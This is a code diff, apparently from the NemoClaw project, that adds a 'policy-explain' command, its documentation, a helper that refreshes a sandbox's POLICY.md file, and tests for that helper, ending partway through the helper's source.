diff --git a/docs/network-policy/customize-network-policy.mdx b/docs/network-policy/customize-network-policy.mdx index 8edc8f3dc9a..d553f70894d 100644 --- a/docs/network-policy/customize-network-policy.mdx +++ b/docs/network-policy/customize-network-policy.mdx @@ -320,6 +320,63 @@ $$nemoclaw my-assistant policy-remove my-internal-api --yes `policy-remove` accepts both built-in and custom preset names. Run `$$nemoclaw policy-list` to see every preset currently applied to the sandbox. +## Agent Policy Context + +When an agent runs in the sandbox, it needs a compact view of the active policy so it can decide whether a host or integration is allowed and what to suggest when something fails. +`$$nemoclaw policy-explain` prints that view as a redacted summary: the recorded tier, the applied presets and their allowed host categories, the known presets that are not applied, the inspect/add/remove commands that change policy, and the support boundaries between NemoClaw, OpenShell, and the agent. + +```bash +$$nemoclaw my-assistant policy-explain +``` + +Pass `--json` to emit the same context as a structured object the agent can read: + +```bash +$$nemoclaw my-assistant policy-explain --json +``` + +NemoClaw also seeds the rendered context inside the sandbox at `/sandbox/.openclaw/workspace/POLICY.md` once during onboarding and refreshes it on every `policy-add` or `policy-remove`, so the in-sandbox agent picks it up when it scans the workspace. +Pass `--write` to refresh that file on demand without changing the policy: + +```bash +$$nemoclaw my-assistant policy-explain --write +``` + +The output is intentionally redacted. +Network policy rule bodies, credential metadata, and binary allowlists are not included; only host stems and category-level summaries appear. +Host stems that resolve to RFC 1918 ranges (10/8, 172.16/12, 192.168/16), loopback (127/8, `::1`), link-local (169.254/16, `fe80::/10`), cloud metadata (`169.254.169.254`), unique-local IPv6 (`fc00::/7`), reserved zero (0.0.0.0/8), CGNAT (100.64/10), benchmarking (198.18/15), `localhost`, and the internal DNS suffixes `.local`, `.internal`, `.lan`, `.home`, `.home.arpa`, `.corp`, `.intra`, `.intranet`, `.localdomain` are dropped from `allowedHostCategories` and surface as a `redactedHostCount`. + +Each active preset also carries a `verification` field that tells the agent whether the OpenShell gateway actually enforces it: + +| Status | Meaning | +|--------|---------| +| `verified` | Registry lists the preset and the gateway confirms it is enforced. Safe to treat the host stems as allowed. | +| `registry-only` | Registry lists the preset but the gateway does not enforce it (drift). Treat allowed hosts as unverified; the agent should not assume the traffic will reach the host. | +| `gateway-only` | Gateway enforces a preset the registry does not list. Reported as active so the agent does not misclassify allowed hosts as blocked. | +| `gateway-unavailable` | Could not probe the gateway (no live snapshot). The whole report is advisory; rely on `nemoclaw policy-list` once the gateway is reachable. | + +The context also documents how the agent should classify a failed host or integration attempt. +The rules are evaluated in order so HTTP 403 has a single interpretation per call: when the host matches an applied preset the request is treated as an authentication failure, otherwise as a policy denial. + +1. `unsupported` — the caller asserts the capability is not offered for this sandbox (for example, a messaging channel that the active agent does not support). The agent should surface the limitation without retrying. +2. `missing-approval` — the host **is** allowed by an applied preset and the request was refused with HTTP 401. The network path is open; credentials are missing or invalid. +3. `missing-approval` (low confidence) — the host **is** allowed by an applied preset and the request was refused with HTTP 403. Ambiguous: OpenShell policies enforce by method, path, protocol, and binary, so a 403 on an allowed host can still be a finer-grained policy denial rather than missing credentials. Confirm credentials first, then run `openshell policy get` to check whether the specific method or path is blocked. +4. `blocked-by-policy` — either the host is **not** allowed by any applied preset and either an existing built-in or custom preset declares it (apply that preset), or the request is refused with a network-block error code (`EHOSTUNREACH`, `ENETUNREACH`, `ENOTFOUND`, `ECONNREFUSED`, `ETIMEDOUT`, `EAI_AGAIN`) or HTTP 403. The same network-block codes also surface as `blocked-by-policy` (low confidence) when the host is on an applied but **unverified** preset (`registry-only` or `gateway-unavailable`), because a block code on a host the registry says should be allowed is the strongest signal that the gateway is not enforcing the preset. +5. `unknown` — none of the above apply; the agent should surface the underlying error. A network-block code on a host that matches a **verified** preset stays `unknown` because the gateway has confirmed enforcement, so the block must be an upstream connectivity failure rather than a policy denial. + +Each classification also carries a `confidence` field set to `high` or `low`. Low-confidence verdicts mean the agent should report multiple possibilities to the user instead of treating the next-step recommendation as authoritative. Common low-confidence triggers are: + +- HTTP 403 on an active host (ambiguous between missing credentials and a finer-grained OpenShell denial by method, path, protocol, or binary). +- The matched preset is `registry-only` (the registry lists it but the gateway does not enforce it) — the agent must not assume the host is reachable. +- The matched preset is `gateway-unavailable` (no live gateway snapshot was available) — the verdict is registry-derived and advisory. + +Callers that already hold a verified gateway snapshot can pass it to the classifier so verdicts about hosts on verified presets stay high-confidence. + +Use the classification to pick the next step. +For `blocked-by-policy`, run `$$nemoclaw policy-add ` or author a [custom preset](#custom-preset-files). +For `missing-approval`, confirm the API token and scopes for the integration. +For `unsupported`, surface the limitation to the user without retrying. + ## Related Topics - [Approve or Deny Agent Network Requests](approve-network-requests) for real-time operator approval. diff --git a/docs/reference/commands-nemohermes.mdx b/docs/reference/commands-nemohermes.mdx index 34b87c08a34..db01e40fdb1 100644 --- a/docs/reference/commands-nemohermes.mdx +++ b/docs/reference/commands-nemohermes.mdx @@ -698,6 +698,37 @@ If the preset is unknown or not currently applied, the command exits non-zero wi Unchecking a preset in the onboard TUI checkbox also removes it from the sandbox. +### `nemohermes policy-explain` + +Print a redacted summary of the active policy context for a sandbox so an agent or operator can reason about what is allowed, what is blocked, and how to request a change. +The output covers the recorded tier, the applied presets (built-in and custom) with their allowed host categories, the known presets that are not applied, the inspect/add/remove commands that change policy, and the support boundaries between NemoClaw, OpenShell, and the agent. +Raw policy YAML, rule bodies, and credential metadata are deliberately not included. + +```bash +nemohermes my-assistant policy-explain +``` + +Pass `--json` to emit the same context as a structured object for agent consumption: + +```bash +nemohermes my-assistant policy-explain --json +``` + +NemoClaw refreshes the rendered context inside the sandbox at `/sandbox/.openclaw/workspace/POLICY.md` whenever a preset is added or removed, and once at the end of the onboarding policy step. +Pass `--write` to refresh that file on demand without changing the policy: + +```bash +nemohermes my-assistant policy-explain --write +``` + +The context also documents how a failed host or integration attempt should be classified. +The classifications are `blocked-by-policy`, `missing-approval`, `unsupported`, and `unknown`, so the agent can pick a remediation step instead of surfacing a lower-level network error. + +| Flag | Description | +|------|-------------| +| `--json` | Emit the policy context as a structured JSON object for agent consumption | +| `--write` | Refresh `/sandbox/.openclaw/workspace/POLICY.md` inside the sandbox in addition to printing | + ### `nemohermes hosts-add` Add a host alias to the sandbox pod template. diff --git a/docs/reference/commands.mdx b/docs/reference/commands.mdx index 07504b7c70b..e56dc00bf3a 100644 --- a/docs/reference/commands.mdx +++ b/docs/reference/commands.mdx @@ -876,6 +876,37 @@ If the preset is unknown or not currently applied, the command exits non-zero wi Unchecking a preset in the onboard TUI checkbox also removes it from the sandbox. +### `$$nemoclaw policy-explain` + +Print a redacted summary of the active policy context for a sandbox so an agent or operator can reason about what is allowed, what is blocked, and how to request a change. +The output covers the recorded tier, the applied presets (built-in and custom) with their allowed host categories, the known presets that are not applied, the inspect/add/remove commands that change policy, and the support boundaries between NemoClaw, OpenShell, and the agent. +Raw policy YAML, rule bodies, and credential metadata are deliberately not included. + +```bash +$$nemoclaw my-assistant policy-explain +``` + +Pass `--json` to emit the same context as a structured object for agent consumption: + +```bash +$$nemoclaw my-assistant policy-explain --json +``` + +NemoClaw refreshes the rendered context inside the sandbox at `/sandbox/.openclaw/workspace/POLICY.md` whenever a preset is added or removed, and once at the end of the onboarding policy step. +Pass `--write` to refresh that file on demand without changing the policy: + +```bash +$$nemoclaw my-assistant policy-explain --write +``` + +The context also documents how a failed host or integration attempt should be classified. +The classifications are `blocked-by-policy`, `missing-approval`, `unsupported`, and `unknown`, so the agent can pick a remediation step instead of surfacing a lower-level network error. + +| Flag | Description | +|------|-------------| +| `--json` | Emit the policy context as a structured JSON object for agent consumption | +| `--write` | Refresh `/sandbox/.openclaw/workspace/POLICY.md` inside the sandbox in addition to printing | + ### `$$nemoclaw hosts-add` Add a host alias to the sandbox pod template. diff --git a/src/commands/sandbox/policy/explain.ts b/src/commands/sandbox/policy/explain.ts new file mode 100644 index 00000000000..ccff32b24a6 --- /dev/null +++ b/src/commands/sandbox/policy/explain.ts @@ -0,0 +1,45 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { Flags } from "@oclif/core"; + +import { explainSandboxPolicy } from "../../../lib/actions/sandbox/policy-explain"; +import { NemoClawCommand } from "../../../lib/cli/nemoclaw-oclif-command"; +import { sandboxNameArg } from "../../../lib/sandbox/command-support"; + +export default class SandboxPolicyExplainCommand extends NemoClawCommand { + static id = "sandbox:policy:explain"; + static strict = true; + static summary = "Explain the active policy context for the sandbox"; + static description = + "Print a redacted summary of the active policy presets, allowed host categories, approval paths, and support boundaries. The agent can read this output to decide whether a host or integration is allowed and what remediation step to suggest."; + static usage = [" [--json] [--write]"]; + static examples = [ + "<%= config.bin %> sandbox policy explain alpha", + "<%= config.bin %> sandbox policy explain alpha --json", + "<%= config.bin %> sandbox policy explain alpha --write", + ]; + static args = { + sandboxName: sandboxNameArg, + }; + static flags = { + json: Flags.boolean({ + description: "Emit the policy context as JSON for agent consumption.", + default: false, + }), + write: Flags.boolean({ + description: + "Also write the rendered context to the sandbox at /sandbox/.openclaw/workspace/POLICY.md so the in-sandbox agent can read it.", + default: false, + }), + }; + + public async run(): Promise { + const { args, flags } = await this.parse(SandboxPolicyExplainCommand); + explainSandboxPolicy( + args.sandboxName, + { json: flags.json, writeToSandbox: flags.write }, + { logJson: (value) => this.logJson(value) }, + ); + } +} diff --git a/src/lib/actions/sandbox/policy-channel-refresh.test.ts b/src/lib/actions/sandbox/policy-channel-refresh.test.ts new file mode 100644 index 00000000000..8735eaf39b9 --- /dev/null +++ b/src/lib/actions/sandbox/policy-channel-refresh.test.ts @@ -0,0 +1,344 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +/** + * Channel-layer lifecycle contract: every policy mutator that succeeds must + * call refreshSandboxPolicyContextFile once with the sandbox name, and every + * mutator that fails or short-circuits (dry-run, unknown preset, declined + * confirm, apply/remove returns false) must skip the refresh. + * + * This pins the caller/callee contract between policy-channel and + * policy-context-refresh so a future mutator added to the channel cannot + * silently let the in-sandbox POLICY.md drift. + */ + +import { createRequire } from "node:module"; +import * as os from "node:os"; +import * as path from "node:path"; +import * as fs from "node:fs"; + +import { afterEach, beforeEach, describe, expect, it, type MockInstance, vi } from "vitest"; + +const requireDist = createRequire(import.meta.url); +const D = (p: string) => requireDist(`../../../../dist/lib/${p}`); + +type PresetInfo = { name: string }; + +class ExitError extends Error { + constructor(public readonly code: number | undefined) { + super(`process.exit(${code})`); + } +} + +const store = D("credentials/store.js"); +const registry = D("state/registry.js"); +const onboardSession = D("state/onboard-session.js"); +const policies = D("policy/index.js"); +const policyContextRefresh = D("actions/sandbox/policy-context-refresh.js"); +const { + addSandboxPolicy, + removeSandboxPolicy, + applyChannelPresetIfAvailable, + removeChannelPresetIfPresent, +} = D("actions/sandbox/policy-channel.js") as { + addSandboxPolicy: (sandboxName: string, options?: Record) => Promise; + removeSandboxPolicy: (sandboxName: string, options?: Record) => Promise; + applyChannelPresetIfAvailable: (sandboxName: string, channelName: string) => boolean; + removeChannelPresetIfPresent: (sandboxName: string, channelName: string) => void; +}; + +const POLICY_PRESETS: PresetInfo[] = [ + { name: "npm" }, + { name: "pypi" }, + { name: "discord" }, +]; + +let logSpy: MockInstance; +let errSpy: MockInstance; +let exitSpy: MockInstance; +let refreshSpy: MockInstance; +let applyPresetMock: MockInstance; +let removePresetMock: MockInstance; +let applyPresetContentMock: MockInstance; +let loadPresetFromFileMock: MockInstance; + +async function captureExit(action: () => Promise): Promise { + try { + await action(); + } catch (error) { + if (error instanceof ExitError) return error.code; + throw error; + } + throw new Error("Expected process.exit to be called"); +} + +beforeEach(() => { + delete process.env.NEMOCLAW_NON_INTERACTIVE; + + logSpy = vi.spyOn(console, "log").mockImplementation(() => undefined); + errSpy = vi.spyOn(console, "error").mockImplementation(() => undefined); + exitSpy = vi.spyOn(process, "exit").mockImplementation(((code?: number) => { + throw new ExitError(code); + }) as never); + + vi.spyOn(store, "prompt").mockResolvedValue("y"); + vi.spyOn(registry, "getSandbox").mockReturnValue({ + name: "alpha", + agent: null, + policies: ["pypi"], + }); + vi.spyOn(registry, "getCustomPolicies").mockReturnValue([]); + + vi.spyOn(onboardSession, "loadSession").mockReturnValue(null); + vi.spyOn(onboardSession, "updateSession").mockImplementation(() => undefined); + + vi.spyOn(policies, "listPresets").mockReturnValue(POLICY_PRESETS); + vi.spyOn(policies, "listCustomPresets").mockReturnValue([]); + vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); + vi.spyOn(policies, "selectFromList").mockResolvedValue("pypi"); + vi.spyOn(policies, "selectForRemoval").mockResolvedValue("pypi"); + vi.spyOn(policies, "loadPreset").mockImplementation((name: unknown) => { + return `network_policies:\n ${String(name)}:\n host: ${String(name)}.example.com\n`; + }); + applyPresetMock = vi.spyOn(policies, "applyPreset").mockReturnValue(true); + removePresetMock = vi.spyOn(policies, "removePreset").mockReturnValue(true); + applyPresetContentMock = vi + .spyOn(policies, "applyPresetContent") + .mockReturnValue(true); + loadPresetFromFileMock = vi.spyOn(policies, "loadPresetFromFile").mockImplementation(() => ({ + presetName: "custom", + content: "network_policies:\n custom:\n host: custom.example.com\n", + })); + vi.spyOn(policies, "getPresetEndpoints").mockReturnValue(["host.example.com"]); + vi.spyOn(policies, "getPresetValidationWarning").mockReturnValue(null); + + refreshSpy = vi + .spyOn(policyContextRefresh, "refreshSandboxPolicyContextFile") + .mockReturnValue({ outcome: "ok", written: true }); +}); + +afterEach(() => { + vi.restoreAllMocks(); + delete process.env.NEMOCLAW_NON_INTERACTIVE; +}); + +describe("addSandboxPolicy refresh contract", () => { + it("refreshes the in-sandbox POLICY.md after a successful built-in apply", async () => { + await addSandboxPolicy("alpha", { preset: "pypi", yes: true }); + + expect(applyPresetMock).toHaveBeenCalledWith("alpha", "pypi"); + expect(refreshSpy).toHaveBeenCalledTimes(1); + expect(refreshSpy).toHaveBeenCalledWith("alpha"); + }); + + it("does not refresh on --dry-run because the registry was never mutated", async () => { + await addSandboxPolicy("alpha", { preset: "pypi", yes: true, dryRun: true }); + + expect(applyPresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when interactive confirmation is declined", async () => { + vi.spyOn(store, "prompt").mockResolvedValue("n"); + + await addSandboxPolicy("alpha"); + + expect(applyPresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when the policy library reports apply failure", async () => { + applyPresetMock.mockReturnValue(false); + + await expect( + captureExit(() => addSandboxPolicy("alpha", { preset: "pypi", yes: true })), + ).resolves.toBe(1); + + expect(applyPresetMock).toHaveBeenCalledWith("alpha", "pypi"); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when the preset name is unknown", async () => { + await expect( + captureExit(() => addSandboxPolicy("alpha", { preset: "nonexistent", yes: true })), + ).resolves.toBe(1); + + expect(applyPresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); +}); + +describe("applyExternalPreset refresh contract (--from-file)", () => { + let tempDir: string; + let tempFile: string; + + beforeEach(() => { + tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "policy-refresh-")); + tempFile = path.join(tempDir, "preset.yaml"); + fs.writeFileSync(tempFile, "network_policies:\n custom:\n host: custom.example.com\n"); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true }); + }); + + it("refreshes after a successful custom-preset apply via --from-file", async () => { + await addSandboxPolicy("alpha", { fromFile: tempFile, yes: true }); + + expect(loadPresetFromFileMock).toHaveBeenCalled(); + expect(applyPresetContentMock).toHaveBeenCalled(); + expect(refreshSpy).toHaveBeenCalledTimes(1); + expect(refreshSpy).toHaveBeenCalledWith("alpha"); + }); + + it("does not refresh when applyPresetContent reports failure", async () => { + applyPresetContentMock.mockReturnValue(false); + + await expect( + captureExit(() => addSandboxPolicy("alpha", { fromFile: tempFile, yes: true })), + ).resolves.toBe(1); + + expect(applyPresetContentMock).toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh on --dry-run with --from-file", async () => { + await addSandboxPolicy("alpha", { fromFile: tempFile, yes: true, dryRun: true }); + + expect(applyPresetContentMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); +}); + +describe("removeSandboxPolicy refresh contract", () => { + beforeEach(() => { + vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["pypi"]); + }); + + it("refreshes the in-sandbox POLICY.md after a successful removal", async () => { + await removeSandboxPolicy("alpha", { preset: "pypi", yes: true }); + + expect(removePresetMock).toHaveBeenCalledWith("alpha", "pypi"); + expect(refreshSpy).toHaveBeenCalledTimes(1); + expect(refreshSpy).toHaveBeenCalledWith("alpha"); + }); + + it("does not refresh on --dry-run", async () => { + await removeSandboxPolicy("alpha", { preset: "pypi", yes: true, dryRun: true }); + + expect(removePresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when interactive confirmation is declined", async () => { + vi.spyOn(store, "prompt").mockResolvedValue("n"); + + await removeSandboxPolicy("alpha"); + + expect(removePresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when the policy library reports remove failure", async () => { + removePresetMock.mockReturnValue(false); + + await expect( + captureExit(() => removeSandboxPolicy("alpha", { preset: "pypi", yes: true })), + ).resolves.toBe(1); + + expect(removePresetMock).toHaveBeenCalledWith("alpha", "pypi"); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when the preset is not currently applied", async () => { + vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); + + await expect( + captureExit(() => removeSandboxPolicy("alpha", { preset: "pypi", yes: true })), + ).resolves.toBe(1); + + expect(removePresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); +}); + +describe("applyChannelPresetIfAvailable refresh contract", () => { + it("refreshes once after a successful channel preset apply", () => { + const ok = applyChannelPresetIfAvailable("alpha", "discord"); + + expect(ok).toBe(true); + expect(applyPresetMock).toHaveBeenCalledWith("alpha", "discord"); + expect(refreshSpy).toHaveBeenCalledTimes(1); + expect(refreshSpy).toHaveBeenCalledWith("alpha"); + }); + + it("does not refresh when policy library reports apply failure", () => { + applyPresetMock.mockReturnValue(false); + + const ok = applyChannelPresetIfAvailable("alpha", "discord"); + + expect(ok).toBe(false); + expect(applyPresetMock).toHaveBeenCalledWith("alpha", "discord"); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when policy library throws", () => { + applyPresetMock.mockImplementation(() => { + throw new Error("preset YAML missing"); + }); + + const ok = applyChannelPresetIfAvailable("alpha", "discord"); + + expect(ok).toBe(false); + expect(refreshSpy).not.toHaveBeenCalled(); + }); +}); + +describe("removeChannelPresetIfPresent refresh contract", () => { + it("refreshes once after a successful built-in channel preset removal", () => { + vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["discord"]); + + removeChannelPresetIfPresent("alpha", "discord"); + + expect(removePresetMock).toHaveBeenCalledWith("alpha", "discord"); + expect(refreshSpy).toHaveBeenCalledTimes(1); + expect(refreshSpy).toHaveBeenCalledWith("alpha"); + }); + + it("does not refresh when the channel is not a built-in preset", () => { + removeChannelPresetIfPresent("alpha", "totally-not-a-preset"); + + expect(removePresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when the built-in preset is not currently applied", () => { + vi.spyOn(policies, "getAppliedPresets").mockReturnValue([]); + + removeChannelPresetIfPresent("alpha", "discord"); + + expect(removePresetMock).not.toHaveBeenCalled(); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when policy library reports remove failure", () => { + vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["discord"]); + removePresetMock.mockReturnValue(false); + + removeChannelPresetIfPresent("alpha", "discord"); + + expect(removePresetMock).toHaveBeenCalledWith("alpha", "discord"); + expect(refreshSpy).not.toHaveBeenCalled(); + }); + + it("does not refresh when policy library throws", () => { + vi.spyOn(policies, "getAppliedPresets").mockReturnValue(["discord"]); + removePresetMock.mockImplementation(() => { + throw new Error("preset removal racing with rebuild"); + }); + + removeChannelPresetIfPresent("alpha", "discord"); + + expect(refreshSpy).not.toHaveBeenCalled(); + }); +}); diff --git a/src/lib/actions/sandbox/policy-channel.ts b/src/lib/actions/sandbox/policy-channel.ts index 3cfbeec6b7b..7bee578db8a 100644 --- a/src/lib/actions/sandbox/policy-channel.ts +++ b/src/lib/actions/sandbox/policy-channel.ts @@ -60,6 +60,7 @@ import { isDockerRuntimeDown, printDockerRuntimeDownGuidance, } from "./gateway-failure-classifier"; +import { refreshSandboxPolicyContextFile } from "./policy-context-refresh"; import { executeSandboxCommand, executeSandboxExecCommand } from "./process-recovery"; import { rebuildSandbox } from "./rebuild"; import { printTelegramDirectMessageAllowlistWarning } from "./telegram-channel-bridge-verification"; @@ -194,6 +195,7 @@ export async function addSandboxPolicy( process.exit(1); } syncSessionPolicyPresetsWithRegistry(sandboxName, answer, "add"); + refreshSandboxPolicyContextFile(sandboxName); } /** @@ -247,6 +249,7 @@ async function applyExternalPreset( // Custom presets share the registry slot with built-ins (customPolicies // in policy/index.ts:684), so they need the same session-sync. syncSessionPolicyPresetsWithRegistry(sandboxName, loaded.presetName, "add"); + refreshSandboxPolicyContextFile(sandboxName); } return result !== false; } catch (err: unknown) { @@ -1192,7 +1195,7 @@ async function rollbackChannelAdd( return result; } -function applyChannelPresetIfAvailable(sandboxName: string, channelName: string): boolean { +export function applyChannelPresetIfAvailable(sandboxName: string, channelName: string): boolean { try { const applied = policies.applyPreset(sandboxName, channelName); if (!applied) { @@ -1205,6 +1208,7 @@ function applyChannelPresetIfAvailable(sandboxName: string, channelName: string) return false; } syncSessionPolicyPresetsWithRegistry(sandboxName, channelName, "add"); + refreshSandboxPolicyContextFile(sandboxName); return true; } catch (err) { const msg = err instanceof Error ? err.message : String(err); @@ -1323,7 +1327,7 @@ function syncSessionPolicyPresetsWithRegistry( // api.telegram.org / discord.com / slack.com should follow). Warns but does // not abort the remove flow — the bridge teardown has already succeeded; // the operator can run `policy-remove ` manually if cleanup falters. -function removeChannelPresetIfPresent(sandboxName: string, channelName: string): void { +export function removeChannelPresetIfPresent(sandboxName: string, channelName: string): void { const builtinPresets = new Set(policies.listPresets().map((p) => p.name)); if (!builtinPresets.has(channelName)) { syncSessionPolicyPresetsWithRegistry(sandboxName, channelName, "remove"); @@ -1344,6 +1348,7 @@ function removeChannelPresetIfPresent(sandboxName: string, channelName: string): ); } else { syncSessionPolicyPresetsWithRegistry(sandboxName, channelName, "remove"); + refreshSandboxPolicyContextFile(sandboxName); } } catch (err) { const msg = err instanceof Error ? err.message : String(err); @@ -1580,4 +1585,5 @@ export async function removeSandboxPolicy( process.exit(1); } syncSessionPolicyPresetsWithRegistry(sandboxName, answer, "remove"); + refreshSandboxPolicyContextFile(sandboxName); } diff --git a/src/lib/actions/sandbox/policy-context-refresh.test.ts b/src/lib/actions/sandbox/policy-context-refresh.test.ts new file mode 100644 index 00000000000..906d1df669d --- /dev/null +++ b/src/lib/actions/sandbox/policy-context-refresh.test.ts @@ -0,0 +1,116 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from "vitest"; + +vi.mock("../../policy/context", () => ({ + buildPolicyContext: vi.fn(), + renderPolicyContextMarkdown: vi.fn(), +})); + +import { + POLICY_CONTEXT_SANDBOX_PATH, + refreshSandboxPolicyContextFile, +} from "./policy-context-refresh"; + +describe("refreshSandboxPolicyContextFile", () => { + it("reports `ok` when the write succeeds and does not warn", () => { + const warn = vi.fn(); + const unexpected = vi.fn(); + const write = vi.fn(() => ({ written: true })); + + const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + + expect(outcome.outcome).toBe("ok"); + expect(warn).not.toHaveBeenCalled(); + expect(unexpected).not.toHaveBeenCalled(); + }); + + it("treats `sandbox unreachable` as a non-fatal `unreachable` outcome without warning", () => { + const warn = vi.fn(); + const unexpected = vi.fn(); + const write = vi.fn(() => ({ written: false, reason: "sandbox unreachable" })); + + const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + + expect(outcome.outcome).toBe("unreachable"); + expect(warn).not.toHaveBeenCalled(); + expect(unexpected).not.toHaveBeenCalled(); + }); + + it("warns about explicit `failed` outcomes when the sandbox returns a non-zero exit", () => { + const warn = vi.fn(); + const unexpected = vi.fn(); + const write = vi.fn(() => ({ + written: false, + reason: "write failed (status 13): denied", + })); + + const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + + expect(outcome.outcome).toBe("failed"); + expect(warn).toHaveBeenCalledTimes(1); + expect(warn.mock.calls[0][0]).toContain(POLICY_CONTEXT_SANDBOX_PATH); + expect(warn.mock.calls[0][0]).toContain("status 13"); + expect(unexpected).not.toHaveBeenCalled(); + }); + + it("routes unexpected exceptions through the `unexpected` sink instead of swallowing them", () => { + const warn = vi.fn(); + const unexpected = vi.fn(); + const write = vi.fn(() => { + throw new Error("import regression: cannot find module"); + }); + + const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + + expect(outcome.outcome).toBe("crashed"); + expect(unexpected).toHaveBeenCalledTimes(1); + const arg = unexpected.mock.calls[0][0]; + expect(arg instanceof Error ? arg.message : String(arg)).toContain("import regression"); + expect(warn).not.toHaveBeenCalled(); + }); + + it("treats loader crashes from writePolicyContextToSandbox as `crashed` even when the write returns instead of throwing", () => { + const warn = vi.fn(); + const unexpected = vi.fn(); + const write = vi.fn(() => ({ + written: false, + reason: "policy-context executor failed to load: missing module", + failure: "unexpected-loader" as const, + errorMessage: "missing module", + })); + + const outcome = refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write }); + + expect(outcome.outcome).toBe("crashed"); + expect(unexpected).toHaveBeenCalledTimes(1); + const arg = unexpected.mock.calls[0][0]; + expect(arg instanceof Error ? arg.message : String(arg)).toContain("missing module"); + expect(warn).not.toHaveBeenCalled(); + }); + + it("treats `loader-vitest` and `no-runtime` loader signals as non-warning `unreachable` outcomes", () => { + const warn = vi.fn(); + const unexpected = vi.fn(); + const writeVitest = vi.fn(() => ({ + written: false, + reason: "sandbox unreachable", + failure: "loader-vitest" as const, + })); + const writeNoRuntime = vi.fn(() => ({ + written: false, + reason: "sandbox unreachable", + failure: "no-runtime" as const, + })); + + expect(refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write: writeVitest }).outcome).toBe( + "unreachable", + ); + expect( + refreshSandboxPolicyContextFile("alpha", { warn, unexpected, write: writeNoRuntime }).outcome, + ).toBe("unreachable"); + expect(warn).not.toHaveBeenCalled(); + expect(unexpected).not.toHaveBeenCalled(); + }); +}); diff --git a/src/lib/actions/sandbox/policy-context-refresh.ts b/src/lib/actions/sandbox/policy-context-refresh.ts new file mode 100644 index 00000000000..d711939a7c1 --- /dev/null +++ b/src/lib/actions/sandbox/policy-context-refresh.ts @@ -0,0 +1,88 @@ +// SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +import { + POLICY_CONTEXT_SANDBOX_PATH, + writePolicyContextToSandbox, + type WritePolicyContextResult, +} from "./policy-explain"; + +/** + * Result categories the refresh helper distinguishes when reporting outcomes: + * + * - `ok`: the sandbox confirmed the write. + * - `unreachable`: the sandbox is not reachable (expected during onboard + * transitions and on hosts without OpenShell installed). + * - `failed`: the sandbox is reachable but the write returned a non-zero + * status, which the caller should surface so the operator can react. + * - `crashed`: the build/render or executor threw before reaching the + * sandbox; treated as an unexpected regression and re-emitted via the + * `unexpected` callback so it does not vanish into a generic catch. + */ +export type PolicyContextRefreshOutcome = "ok" | "unreachable" | "failed" | "crashed"; + +export interface RefreshOutcome extends WritePolicyContextResult { + outcome: PolicyContextRefreshOutcome; + errorMessage?: string; +} + +export interface RefreshDeps { + write?: typeof writePolicyContextToSandbox; + warn?: (line: string) => void; + /** + * Sink for unexpected exceptions raised by the writer. Tests can inject + * a spy to assert that import/build/render regressions do not get + * swallowed silently. + */ + unexpected?: (error: unknown) => void; +} + +const DEFAULT_WARN = (line: string) => console.error(line); + +const DEFAULT_UNEXPECTED = (error: unknown) => { + const message = error instanceof Error ? error.message : String(error); + console.error(` Unexpected error refreshing ${POLICY_CONTEXT_SANDBOX_PATH}: ${message}`); +}; + +export function refreshSandboxPolicyContextFile( + sandboxName: string, + deps: RefreshDeps = {}, +): RefreshOutcome { + const write = deps.write ?? writePolicyContextToSandbox; + const warn = deps.warn ?? DEFAULT_WARN; + const unexpected = deps.unexpected ?? DEFAULT_UNEXPECTED; + let result: WritePolicyContextResult; + try { + result = write(sandboxName); + } catch (error: unknown) { + unexpected(error); + return { + written: false, + outcome: "crashed", + errorMessage: error instanceof Error ? error.message : String(error), + }; + } + if (result.written) { + return { ...result, outcome: "ok" }; + } + if (result.failure === "unexpected-loader") { + unexpected( + new Error(result.errorMessage ?? result.reason ?? "policy-context executor failed to load"), + ); + return { ...result, outcome: "crashed" }; + } + if ( + result.failure === "loader-vitest" || + result.failure === "no-runtime" || + result.failure === "sandbox-unreachable" || + result.reason === "sandbox unreachable" + ) { + return { ...result, outcome: "unreachable" }; + } + warn( + ` Could not refresh ${POLICY_CONTEXT_SANDBOX_PATH} for sandbox '${sandboxName}': ${result.reason ?? "unknown reason"}.`, + 